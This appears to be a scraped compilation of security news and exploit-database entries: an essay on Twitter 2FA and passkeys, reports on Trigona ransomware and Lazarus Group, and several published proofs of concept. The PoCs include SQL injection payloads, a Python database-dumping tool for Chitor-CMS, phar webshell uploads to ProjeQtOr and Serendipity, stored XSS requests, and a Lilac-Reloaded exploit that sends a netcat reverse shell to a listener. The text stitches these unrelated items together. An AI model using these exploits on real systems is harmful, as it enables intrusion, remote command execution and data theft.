Sourcecodester Judging Management System v1.0 is vulnerable to SQL Injection via /php-jms/print_judges.php?print_judges.php=&se_name=&sub_event_id=.

**Judging Management System v1.0 by oretnom23 has SQL injection**

vendors: https://www.sourcecodester.com/php/15910/judging-management-system-using-php-and-mysql-free-source-code.html

The program is built using the xmapp-php8.1 version

Vulnerability File: /php-jms/print\_judges.php?print\_judges.php=&se\_name=&sub\_event\_id=

Vulnerability location: /php-jms/print\_judges.php?print\_judges.php=&se\_name=&sub\_event\_id=, sub\_event\_id

dbname =jms\_db

\[+\] Payload: /php-jms/print\_judges.php?print\_judges.php=&se\_name=&sub\_event\_id=1%27%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),0)--+ // Leak place ---> sub\_event\_id

​sql GET /php-jms/print_judges.php?print_judges.php=&se_name=&sub_event_id=1%27%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),0)--+ HTTP/1.1 Host: 192.168.1.88 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Cookie: PHPSESSID=f6bhcgo222sk31fnm99nf9tjt1 Connection: close ​

CVE-2023-30076: cve_report/SQLi-2.md at main · Dzero57/cve_report

Vulnerable MS-SQL database servers have external connections and weak account credentials, researchers warn.

The Trigona ransomware threat actors are waging a campaign against Microsoft SQL database servers because many of them have external connections and weak passwords, leaving them open targets for brute force or dictionary attacks.

These vulnerable MS-SQL servers were designated as "poorly managed" by AhnLab Security's new alert about Trigona's nefarious activities.

"If a threat actor manages to log in, control over the system will be passed to them, allowing them to install malware or execute malicious commands," the report said.

    

The Trigona ransom note. Source: AhnLabs

They're popular repeat targets too, and not just for Trigona: In one instance observed by AhnLab researchers, credentials for a breached MS-SQL server were compromised by several threat actors, leaving traces of various ransomware strains, Remcos RAT, and coinminers, the report said.Additionally, MS-SQL can be installed on both Windows SQL servers and desktop environments. 

"For example, there are cases where MS-SQL is installed alongside certain enterprise resource planning (ERP) and work-purpose solutions during their installation process," the Trigona ransomware report added. "Because of this, Windows servers and Windows desktop environments can both be targeted for MS-SQL server attacks."

AhnLab Security noted Trigona is a relatively new ransomware group, first observed last October.

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Trigona Ransomware Trolling for 'Poorly Managed' MS-SQL Servers

Overcoming the limitations of consumer MFA with a new flavor of passwordless.

Twitter recently disabled SMS-based two-factor authentication (2FA) except for Twitter Blue subscribers. While the intended results may be cost-savings and boosting the number of subscribers, the decision is likely to have unintended security consequences. Even some tech-savvy people who know and care about security find Twitter's 2FA alternatives awkward enough to delay until they are forced into it, so Twitter's new policy will likely result in fewer accounts using 2FA. Educating users about how to set up authenticator apps and security keys is one solution. But that's analogous to building a faster horse.

Fundamentally, the enterprise 2FA playbook cannot be applied to consumer scenarios in equal measure because consumers can vote with their feet. Any added step will send them galloping into the arms of the competition. Thus, the Twitter news should be a call for disruption, and for solutions that protect consumer identities without introducing friction. I believe that technology is passkeys when available uniformly across the digital landscape.

**The State of Consumer MFA**

It’s broadly accepted that any multifactor authentication (MFA) is better than no MFA (I’ll use MFA here to mean authenticating your identity with two or more factors). MFA solutions prevent bad actors from accessing resources using only a victim's primary credentials. Our CISO once observed that MFA and adaptive authentication would have prevented 95% of the breaches she has seen.

But not all MFA is created equal. Some factors are weaker than others, particularly against targeted attacks. Security questions, SMS, voice, and email-based one-time passwords are considered low-assurance factors. All these factors are vulnerable to phishing. Attackers can bypass weaker factors by "guessing" the authenticator code; intercepting the code-containing SMS; or creating "alert fatigue" by bombarding the user with messages until they complete the MFA challenge.

**MFA Bypass Attacks**

Recent research found more than 113 million MFA bypass (registration required) attempts against consumer and SaaS applications over a 90-day period, representing the highest baseline level of attacks of any year on record. Given what we know about weaker factors, you'd be forgiven for thinking Twitter's decision to disable text-based authentication is a good one. But as with most things in identity, there is more complexity that meets the eye, particularly when we look at MFA adoption issues.

**The Trouble With MFA Adoption**

The challenge of getting users to sign up for any form of MFA lies in the technology's origin story. Passwords predate modern online services by thousands of years (just think about "Open, Sesame" in "Ali Baba and the 40 Thieves"). Two-factor authentication entered the picture much later as a way for enterprises and governments to protect their internal systems with something you know (password) and something you have (device, code, or security key).

Technologies developed in an enterprise context have historically prioritized security. The administrator has the power to enforce security measures across the employee base to protect the company's interests. When organizations try to use the same playbook with consumers, they fail, because consumers can vote with their feet. And the impact can quickly become existential.

So, what about authenticator apps? For us in the industry, this might look like the obvious technical alternative to SMS-based methods. But few end users are this digitally savvy. The more likely result of forcing something like an authenticator app or security key at scale is that people just won't use it.

**Phishing-Resistant Authentication**

The transition to phishing-resistant factors offers one potential solution to consumer MFA woes. FIDO and WebAuthn rely on public key cryptography and biometrics to significantly improve both security and the user experience. When using public key cryptography, there are no codes or secrets to be stolen. Users go through a biometric check on their device to unlock access to their private key, which is way faster than entering an SMS code. There are nuances in how biometric data is validated that can make a big difference for data privacy and security.

**The Passkeys Opportunity**

Despite exciting progress toward more secure and usable factors, the best MFA mechanism for consumers really isn't MFA at all — it's passkeys. Passkeys are a FIDO authenticator with the advantage of being backed up to the cloud, so if you lose your device or buy a new one, all you must do is sign into your iCloud or Google Play account to recover your passkeys. Passkeys use public key cryptography and device biometrics, making them resistant to many known attacks, and are easy for the user.

Should passkeys have been used on Twitter? Absolutely, but they may not have been a clear option at the time. Supporting something new is always expensive from the engineering perspective. If passkeys had been an option, the experience for the user might have looked something like this:

1.  The user signs into Twitter on their mobile device with username and password;
2.  They are asked if they would like to use a passkey to authenticate next time; and
3.  The user receives a biometric prompt from then on without needing to install anything. They can even go to their Mac and open Twitter in Safari, and the passkey will be automatically synced to that device.

Offering passkey authentication currently requires some reworking, but it's easier and more cost-effective than SMS. Unfortunately, passkeys are not yet uniformly distributed. Apple added support early on, followed by Android and Chrome. Windows currently supports passkeys on a single device.

Whenever you're asking people to change, you need to take concrete steps to make the transition easier. In the case of Twitter, that would be explaining to users what they can do to change their second factor, to avoid them dropping MFA entirely. This would be an amazing passkey adoption opportunity if the industry were ready. We're already in a fantastic position to encourage people to use this flavor of passwordless. What comes next is making it easier for developers to implement the necessary changes in their apps and websites. A future with fewer passwords may not be so far away after all.

Twitter's 2FA Policy Is a Call for Passkey Disruption

Chitor-CMS version 1.1.2 suffers from a remote SQL injection vulnerability.

    #!/usr/bin/python3########################################################                                                     # #  Exploit Title: Chitor-CMS v1.1.2 - Pre-Auth SQL Injection          ##  Date: 2023/04/13               ##  ExploitAuthor: msd0pe                                  ##  Project: https://github.com/waqaskanju/Chitor-CMS  ##  My Github: https://github.com/msd0pe-1             ##  Patched the 2023/04/16: 69d3442 commit             ##                                                     ########################################################__description__ = 'Chitor-CMS < 1.1.2 Pre-Auth SQL Injection.'__author__ = 'msd0pe'__version__ = '1.1'__date__ = '2023/04/13'class bcolors:    PURPLE = '\033[95m'    BLUE = '\033[94m'    GREEN = '\033[92m'    OCRA = '\033[93m'    RED = '\033[91m'    CYAN = '\033[96m'    ENDC = '\033[0m'    BOLD = '\033[1m'    UNDERLINE = '\033[4m'class infos:    INFO = "[" + bcolors.OCRA + bcolors.BOLD + "?" + bcolors.ENDC + bcolors.ENDC + "] "    ERROR = "[" + bcolors.RED + bcolors.BOLD + "X" + bcolors.ENDC + bcolors.ENDC + "] "    GOOD = "[" + bcolors.GREEN + bcolors.BOLD + "+" + bcolors.ENDC + bcolors.ENDC + "] "    PROCESS = "[" + bcolors.BLUE + bcolors.BOLD + "*" + bcolors.ENDC + bcolors.ENDC + "] "import reimport requestsimport optparsefrom prettytable import PrettyTabledef DumpTable(url, database, table):    header = {"User-Agent": "5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"}    x = PrettyTable()    columns = []    payload = "/edit_school.php?id=-2164' UNION ALL SELECT NULL%2CNULL%2CCONCAT(0x71707a6b71%2CJSON_ARRAYAGG(CONCAT_WS(0x787a6d64706c%2Ccolumn_name))%2C0x716a6b6271) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=\"" + table + "\" AND table_schema=\"" + database + "\"-- -"    u = requests.get(url + payload, headers=header)    try:        r = re.findall("qpzkq\[(.*?)\]qjkbq",u.text)        r = r[0].replace('\"',"").split(',')        if r == []:            pass        else:            for i in r:                columns.append(i)                pass    except:        pass    x.field_names = columns    payload = "/edit_school.php?id=-2164' UNION ALL SELECT NULL%2CNULL%2CCONCAT(0x71707a6b71%2CJSON_ARRAYAGG(CONCAT_WS(0x787a6d64706c%2C " + str(columns).replace("[","").replace("]","").replace("\'","").replace(" ","") + "))%2C0x716a6b6271) FROM " + database + "." + table + "-- -"    u = requests.get(url + payload, headers=header)    try:        r = re.findall("qpzkq\[(.*?)\]qjkbq",u.text)        r = r[0].replace('\"',"").split(',')        if r == []:            pass        else:            for i in r:                i = i.split("xzmdpl")                x.add_rows([i])    except ValueError:        r = re.findall("qpzkq\[(.*?)\]qjkbq",u.text)        r = r[0].replace('\"',"").split(',')        if r == []:            pass        else:            for i in r:                i = i.split("xzmdpl")                i.append("")                x.add_rows([i])            print(x)def ListTables(url, database):    header = {"User-Agent": "5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"}    x = PrettyTable()    x.field_names = ["TABLES"]    payload = "/edit_school.php?id=-2164' UNION ALL SELECT NULL%2CNULL%2CCONCAT(0x71707a6b71%2CJSON_ARRAYAGG(CONCAT_WS(0x787a6d64706c%2Ctable_name))%2C0x716a6b6271) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema IN (0x" + str(database).encode('utf-8').hex() + ")-- -"    u = requests.get(url + payload, headers=header)    try:        r = re.findall("qpzkq\[(.*?)\]qjkbq",u.text)        r = r[0].replace('\"',"").split(',')        if r == []:            pass        else:            for i in r:                x.add_row([i])    except:        pass    print(x)def ListDatabases(url):    header = {"User-Agent": "5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"}    x = PrettyTable()    x.field_names = ["DATABASES"]    payload = "/edit_school.php?id=-2164' UNION ALL SELECT NULL%2CNULL%2CCONCAT(0x71707a6b71%2CJSON_ARRAYAGG(CONCAT_WS(0x787a6d64706c%2Cschema_name))%2C0x716a6b6271) FROM INFORMATION_SCHEMA.SCHEMATA-- -"    u = requests.get(url + payload, headers=header)    try:        r = re.findall("qpzkq\[(.*?)\]qjkbq",u.text)        r = r[0].replace('\"',"").split(',')        if r == []:            pass        else:            for i in r:                x.add_row([i])    except:        pass    print(x)def Main():    Menu = optparse.OptionParser(usage='python %prog [options]', version='%prog ' + __version__)    Menu.add_option('-u', '--url', type="str", dest="url", help='target url')    Menu.add_option('--dbs', action="store_true", dest="l_databases", help='list databases')    Menu.add_option('-D', '--db', type="str", dest="database", help='select a database')    Menu.add_option('--tables', action="store_true", dest="l_tables", help='list tables')    Menu.add_option('-T', '--table', type="str", dest="table", help='select a table')    Menu.add_option('--dump', action="store_true", dest="dump", help='dump the content')    (options, args) = Menu.parse_args()    Examples = optparse.OptionGroup(Menu, "Examples", """python3 chitor1.1.py -u http://127.0.0.1 --dbs                                                         python3 chitor1.1.py -u http://127.0.0.1 -D chitor_db --tables                                                         python3 chitor1.1.py -u http://127.0.0.1 -D chitor_db -T login --dump    """)    Menu.add_option_group(Examples)    if len(args) != 0 or options == {'url': None, 'l_databases': None, 'database': None, 'l_tables': None, 'table': None, 'dump': None}:        Menu.print_help()        print('')        print('  %s' % __description__)        print('  Source code put in public domain by ' + bcolors.PURPLE + bcolors.BOLD + 'msd0pe' + bcolors.ENDC + bcolors.ENDC + ',' + bcolors.RED + bcolors.BOLD + 'no Copyright' + bcolors.ENDC + bcolors.ENDC)        print('  Any malicious or illegal activity may be punishable by law')        print('  Use at your own risk')    elif len(args) == 0:        try:            if options.url != None:                if options.l_databases != None:                    ListDatabases(options.url)                if options.database != None:                    if options.l_tables != None:                        ListTables(options.url, options.database)                    if options.table != None:                        if options.dump != None:                            DumpTable(options.url, options.database, options.table)        except:            print("Unexpected error")if __name__ == '__main__':    try:        Main()    except KeyboardInterrupt:        print()        print(infos.PROCESS + "Exiting...")        print()        exit(1)

Chitor-CMS 1.1.2 SQL Injection

ProjeQtOr Project Management System version 10.3.2 suffers from a remote shell upload vulnerability.

Exploit Title: ProjeQtOr Project Management System 10.3.2   -Remote Code Execution (RCE)  
Application: ProjeQtOr Project Management System  
Version: 10.3.2  
Bugs:  Remote Code Execution (RCE) (Authenticated) via file upload  
Technology: PHP  
Vendor URL: https://www.projeqtor.org  
Software Link: https://sourceforge.net/projects/projectorria/files/projeqtorV10.3.2.zip/download  
Date of found: 19.04.2023  
Author: Mirabbas Ağalarov  
Tested on: Linux 

2. Technical Details & POC  
========================================  
Possible including php file with phar extension while uploading image. Rce is triggered when we visit again

Payload:<?php echo system("id"); ?>

poc request:

POST /projeqtor/tool/saveAttachment.php?csrfToken= HTTP/1.1  
Host: localhost  
Content-Length: 1177  
sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"  
Accept: application/json  
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryY0bpJaQzcvQberWR  
X-Requested-With: XMLHttpRequest  
sec-ch-ua-mobile: ?0  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36  
sec-ch-ua-platform: "Linux"  
Origin: http://localhost  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: cors  
Sec-Fetch-Dest: empty  
Referer: http://localhost/projeqtor/view/main.php  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Cookie: currency=USD; PHPSESSID=2mmnca4p7m93q1nmbg6alskiic  
Connection: close

------WebKitFormBoundaryY0bpJaQzcvQberWR  
Content-Disposition: form-data; name="attachmentFiles[]"; filename="miri.phar"  
Content-Type: application/octet-stream

<?php echo system("id"); ?>

------WebKitFormBoundaryY0bpJaQzcvQberWR  
Content-Disposition: form-data; name="attachmentId"

------WebKitFormBoundaryY0bpJaQzcvQberWR  
Content-Disposition: form-data; name="attachmentRefType"

User  
------WebKitFormBoundaryY0bpJaQzcvQberWR  
Content-Disposition: form-data; name="attachmentRefId"

1  
------WebKitFormBoundaryY0bpJaQzcvQberWR  
Content-Disposition: form-data; name="attachmentType"

file  
------WebKitFormBoundaryY0bpJaQzcvQberWR  
Content-Disposition: form-data; name="MAX_FILE_SIZE"

10485760  
------WebKitFormBoundaryY0bpJaQzcvQberWR  
Content-Disposition: form-data; name="attachmentLink"

------WebKitFormBoundaryY0bpJaQzcvQberWR  
Content-Disposition: form-data; name="attachmentDescription"

------WebKitFormBoundaryY0bpJaQzcvQberWR  
Content-Disposition: form-data; name="attachmentPrivacy"

1  
------WebKitFormBoundaryY0bpJaQzcvQberWR  
Content-Disposition: form-data; name="uploadType"

html5  
------WebKitFormBoundaryY0bpJaQzcvQberWR--

visit: http://localhost/projeqtor/files/attach/attachment_5/miri.phar

ProjeQtOr Project Management System 10.3.2 Shell Upload

Piwigo version 13.6.0 suffers from a persistent cross site scripting vulnerability.

    Exploit Title: Piwigo 13.6.0 - Stored Cross-Site Scripting (XSS)Application: PiwigoVersion: 13.6.0 Bugs:  Stored XSSTechnology: PHPVendor URL: https://piwigo.org/Software Link: https://piwigo.org/get-piwigoDate of found: 18.04.2023Author: Mirabbas AğalarovTested on: Linux 2. Technical Details & POC========================================steps: 1.After uploading the image, we write <img%20src=x%20onerror=alert(4)> instead of the tag(keyword) while editing the image)payload: <img%20src=x%20onerror=alert(4)>POST /piwigo/admin.php?page=photo-9 HTTP/1.1Host: localhostContent-Length: 159Cache-Control: max-age=0sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Linux"Upgrade-Insecure-Requests: 1Origin: http://localhostContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: http://localhost/piwigo/admin.php?page=photo-9Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: pwg_id=u7tjlue5o3vj7fbgb0ikodmb9m; phavsz=1394x860x1; pwg_display_thumbnail=display_thumbnail_classic; pwg_tags_per_page=100; phpbb3_ay432_k=; phpbb3_ay432_u=2; phpbb3_ay432_sid=9240ca5fb9f93c8ebc8ff7bd42c380feConnection: closename=Untitled&author=&date_creation=&associate%5B%5D=1&tags%5B%5D=<img%20src=x%20onerror=alert(3)>&description=&level=0&pwg_token=bad904d2c7ec866bfba391bfc130ddd2&submit=Save+settings

Piwigo 13.6.0 Cross Site Scripting

Lilac-Reloaded for Nagios version 2.0.l8 remote code execution exploit.

    #!/usr/bin/env python"""# Exploit Title: Lilac-Reloaded for Nagios 2.0.8 - Remote Code Execution (RCE)# Google Dork: N/A# Date: 2023-04-13# Exploit Author: max / Zoltan Padanyi# Vendor Homepage: https://exchange.nagios.org/directory/Addons/Configuration/Lilac-2DReloaded/visit# Software Link: https://sourceforge.net/projects/lilac--reloaded/files/latest/download# Version: 2.0.8# Tested on: Debian 7.6# CVE : N/AThe autodiscovery feature lacks any kind of input filtering, so we can add our own commands there terminated with a ;Use at your own risk!RCA - wild exec is ongoing without any filteringin library/Net/Traceroute.php   181      function _setTraceroutePath($sysname)   182      {   183          $status    = '';   184          $output    = array();   185          $traceroute_path = '';   186   187          if ("windows" == $sysname) {   188              return "tracert";   189          } else {   190              $traceroute_path = exec("which traceroute", $output, $status);   [...]   257      function traceroute($host)   258      {   259   260          $argList = $this->_createArgList();   261          $cmd = $this->_traceroute_path." ".$argList[0]." ".$host." ".$argList[1];   262          exec($cmd, $this->_result);"""import requestsimport argparseparser = argparse.ArgumentParser()parser.add_argument("-u", "--url", help="The full path of the autodiscover.php in lilac (i.e. http://127.0.0.1/lilac/autodiscovery.php", required=True)parser.add_argument("-i", "--ip", help="Listener IP", required=True)parser.add_argument("-p", "--port", help="Listener port", required=True, type=int)args = parser.parse_args()rev_shell = f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {args.ip} {args.port} >/tmp/f;"body = {"request":"autodiscover","job_name":"HackThePlanet","job_description":"HackThePlanet","nmap_binary":rev_shell,"default_template":"","target[2]":"1.1.1.1"}try:    r = requests.get(args.url)    if r.ok:      print("[+] URL looks good...moving forward...")      print("[+] Sending exploit in...")      r = requests.post(args.url,data=body)      if r.ok:        print("[+] Got HTTP 200, check your listener!")    else:      print("[-] Some kind of error happened, check the http response below!")      print(r.text)except Exception as e:  print("General exception: " + str(e))

Lilac-Reloaded For Nagios 2.0.8 Remote Code Execution

Serendipity version 2.4.0 suffers from a cross site scripting vulnerability.

    Exploit Title: Serendipity 2.4.0 - Cross-Site Scripting (XSS)Author: Mirabbas AğalarovApplication: SerendipityVersion: 2.4.0Bugs:  Stored XSSTechnology: PHPVendor URL: https://docs.s9y.org/Software Link: https://docs.s9y.org/downloads.htmlDate of found: 13.04.2023Tested on: Linux 2. Technical Details & POC========================================steps: 1.Anyone who has the authority to create the new entry can do thispayload: hello%3Cimg+src%3Dx+onerror%3Dalert%283%29%3EPOST /serendipity/serendipity_admin.php? HTTP/1.1Host: localhostContent-Length: 730Cache-Control: max-age=0sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Linux"Upgrade-Insecure-Requests: 1Origin: http://localhostContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: http://localhost/serendipity/serendipity_admin.php?serendipity[adminModule]=entries&serendipity[adminAction]=newAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: serendipity[old_session]=st6cvq3rea6l8dqgjs1nla6s1b; serendipity[author_token]=c74c7da50976c82e628d7a8dfdb7c9e3ebc8188b; serendipity[toggle_extended]=; serendipity[entrylist_filter_author]=; serendipity[entrylist_filter_category]=; serendipity[entrylist_filter_isdraft]=; serendipity[entrylist_sort_perPage]=; serendipity[entrylist_sort_ordermode]=; serendipity[entrylist_sort_order]=; s9y_6991e531dd149036decdb14ae857486a=st6cvq3rea6l8dqgjs1nla6s1bConnection: closeserendipity%5Baction%5D=admin&serendipity%5BadminModule%5D=entries&serendipity%5BadminAction%5D=save&serendipity%5Bid%5D=&serendipity%5Btimestamp%5D=1681366826&serendipity%5Bpreview%5D=false&serendipity%5Btoken%5D=ae9b8ae35a756c24f9552a021ee81d56&serendipity%5Btitle%5D=asdf&serendipity%5Bbody%5D=hello%3Cimg+src%3Dx+onerror%3Dalert%283%29%3E&serendipity%5Bextended%5D=&serendipity%5Bchk_timestamp%5D=1681366826&serendipity%5Bnew_date%5D=2023-04-13&serendipity%5Bnew_time%5D=10%3A20&serendipity%5Bisdraft%5D=false&serendipity%5Ballow_comments%5D=true&serendipity%5Bpropertyform%5D=true&serendipity%5Bproperties%5D%5Baccess%5D=public&ignore_password=&serendipity%5Bproperties%5D%5Bentrypassword%5D=&serendipity%5Bchange_author%5D=12. visit the entry you created

Serendipity 2.4.0 Cross Site Scripting

Serendipity version 2.4.0 suffers from a remote shell upload vulnerability.

Exploit Title: Serendipity 2.4.0  - Remote Code Execution (RCE) (Authenticated)  
Application: Serendipity   
Version:  2.4.0   
Bugs:  Remote Code Execution (RCE) (Authenticated) via file upload  
Technology: PHP  
Vendor URL: https://docs.s9y.org/  
Software Link: https://docs.s9y.org/downloads.html  
Date of found: 13.04.2023  
Author: Mirabbas Ağalarov  
Tested on: Linux 

2. Technical Details & POC  
========================================  
If we load the poc.phar file in the image field while creating a category, we can run commands on the system.  
<?php echo system("cat /etc/passwd"); ?>  
 I wrote a file with the above payload, a poc.phar extension, and uploaded it.

Visit to http://localhost/serendipity/uploads/poc.phar

poc request:

POST /serendipity/serendipity_admin.php?serendipity[adminModule]=media&serendipity[htmltarget]=category_icon&serendipity[filename_only]=true&serendipity[noBanner]=true&serendipity[noSidebar]=true&serendipity[noFooter]=true&serendipity[showUpload]=true&serendipity[showMediaToolbar]=false&serendipity[sortorder][perpage]=8&serendipity[sortorder][order]=i.date&serendipity[sortorder][ordermode]=DESC HTTP/1.1  
Host: localhost  
Content-Length: 1561  
Cache-Control: max-age=0  
sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"  
sec-ch-ua-mobile: ?0  
sec-ch-ua-platform: "Linux"  
Upgrade-Insecure-Requests: 1  
Origin: http://localhost  
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZWKPiba66PSVGQzc  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: navigate  
Sec-Fetch-User: ?1  
Sec-Fetch-Dest: iframe  
Referer: http://localhost/serendipity/serendipity_admin.php?serendipity[adminModule]=media&serendipity[adminAction]=addSelect&serendipity[adminModule]=media&serendipity[htmltarget]=category_icon&serendipity[filename_only]=true&serendipity[noBanner]=true&serendipity[noSidebar]=true&serendipity[noFooter]=true&serendipity[showUpload]=true&serendipity[showMediaToolbar]=false&serendipity[sortorder][perpage]=8&serendipity[sortorder][order]=i.date&serendipity[sortorder][ordermode]=DESC  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Cookie: serendipity[old_session]=st6cvq3rea6l8dqgjs1nla6s1b; serendipity[author_token]=430b341df3f78f52691c8cf935fa04e1c05854df; serendipity[toggle_extended]=; serendipity[entrylist_filter_author]=; serendipity[entrylist_filter_category]=; serendipity[entrylist_filter_isdraft]=; serendipity[entrylist_sort_perPage]=; serendipity[entrylist_sort_ordermode]=; serendipity[entrylist_sort_order]=; serendipity[only_path]=; serendipity[only_filename]=; serendipity[hideSubdirFiles]=; serendipity[addmedia_directory]=; serendipity[sortorder_perpage]=8; serendipity[sortorder_order]=i.date; serendipity[sortorder_ordermode]=DESC; serendipity[filter][i.date][from]=; serendipity[filter][i.date][to]=; serendipity[filter][i.name]=; serendipity[imgThumbWidth]=400; serendipity[imgThumbHeight]=267; serendipity[imgWidth]=1000; serendipity[imgHeight]=667; serendipity[imgID]=1; serendipity[baseURL]=http%3A//localhost/serendipity/; serendipity[indexFile]=index.php; serendipity[imgName]=/serendipity/uploads/photo-1575936123452-b67c3203c357.jpeg; serendipity[thumbName]=/serendipity/uploads/photo-1575936123452-b67c3203c357.serendipityThumb.jpeg; serendipity[hotlink]=; serendipity[serendipity_htmltarget]=category_icon; serendipity[serendipity_filename_only]=true; serendipity[serendipity_linkThumbnail]=no; serendipity[]=Done; accessibletab_mediaupload_tabs_active=0; serendipity[filter][fileCategory]=; s9y_6991e531dd149036decdb14ae857486a=st6cvq3rea6l8dqgjs1nla6s1b  
Connection: close

------WebKitFormBoundaryZWKPiba66PSVGQzc  
Content-Disposition: form-data; name="serendipity[token]"

ae9b8ae35a756c24f9552a021ee81d56  
------WebKitFormBoundaryZWKPiba66PSVGQzc  
Content-Disposition: form-data; name="serendipity[action]"

admin  
------WebKitFormBoundaryZWKPiba66PSVGQzc  
Content-Disposition: form-data; name="serendipity[adminModule]"

media  
------WebKitFormBoundaryZWKPiba66PSVGQzc  
Content-Disposition: form-data; name="serendipity[adminAction]"

add  
------WebKitFormBoundaryZWKPiba66PSVGQzc  
Content-Disposition: form-data; name="serendipity[userfile][1]"; filename="poc.phar"  
Content-Type: application/octet-stream

<?php echo system("cat /etc/passwd");?>

------WebKitFormBoundaryZWKPiba66PSVGQzc  
Content-Disposition: form-data; name="serendipity[target_filename][1]"

poc.phar  
------WebKitFormBoundaryZWKPiba66PSVGQzc  
Content-Disposition: form-data; name="serendipity[target_directory][1]"

------WebKitFormBoundaryZWKPiba66PSVGQzc  
Content-Disposition: form-data; name="serendipity[column_count][1]"

true  
------WebKitFormBoundaryZWKPiba66PSVGQzc  
Content-Disposition: form-data; name="serendipity[imageurl]"

------WebKitFormBoundaryZWKPiba66PSVGQzc  
Content-Disposition: form-data; name="serendipity[imageimporttype]"

image  
------WebKitFormBoundaryZWKPiba66PSVGQzc  
Content-Disposition: form-data; name="serendipity[target_filename][]"

------WebKitFormBoundaryZWKPiba66PSVGQzc  
Content-Disposition: form-data; name="serendipity[target_directory][]"

------WebKitFormBoundaryZWKPiba66PSVGQzc--

poc video :  https://youtu.be/_VrrKOTywgo

Serendipity 2.4.0 Shell Upload

The notorious North Korea-aligned state-sponsored actor known as the Lazarus Group has been attributed to a new campaign aimed at Linux users.
The attacks are part of a persistent and long-running activity tracked under the name Operation Dream Job, ESET said in a new report published today.
The findings are crucial, not least because it marks the first publicly documented example of the

The notorious North Korea-aligned state-sponsored actor known as the **Lazarus Group** has been attributed to a new campaign aimed at Linux users.

The attacks are part of a persistent and long-running activity tracked under the name **Operation Dream Job**, ESET said in a new report published today.

The findings are crucial, not least because it marks the first publicly documented example of the adversary using Linux malware as part of this social engineering scheme.

Operation Dream Job, also known as DeathNote or NukeSped, refers to multiple attack waves wherein the group leverages fraudulent job offers as a lure to trick unsuspecting targets into downloading malware. It also exhibits overlaps with two other Lazarus clusters known as Operation In(ter)ception and Operation North Star.

The attack chain discovered by ESET is no different in that it delivers a fake HSBC job offer as a decoy within a ZIP archive file that's then used to launch a Linux backdoor named SimplexTea distributed via an OpenDrive cloud storage account.

While the exact method used to distribute the ZIP file is not known, it's suspected to be either spear-phishing or direct messages on LinkedIn. The backdoor, written in C++, bears similarities to BADCALL, a Windows trojan previously attributed to the group.

Furthermore, ESET said it identified commonalities between artifacts used in the Dream Job campaign and those unearthed as part of the supply chain attack on VoIP software developer 3CX that came to light last month.

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This also includes the command-and-control (C2) domain "journalide\[.\]org," which was listed as one of the four C2 servers used by malware families detected within the 3CX environment.

Indications are that preparations for the supply chain attack had been underway since December 2022, when some of the components were committed to the GitHub code-hosting platform.

The findings not only strengthen the existing link between Lazarus Group and the 3CX compromise, but also demonstrates the threat actor's continued success with staging supply chain attacks since 2020.

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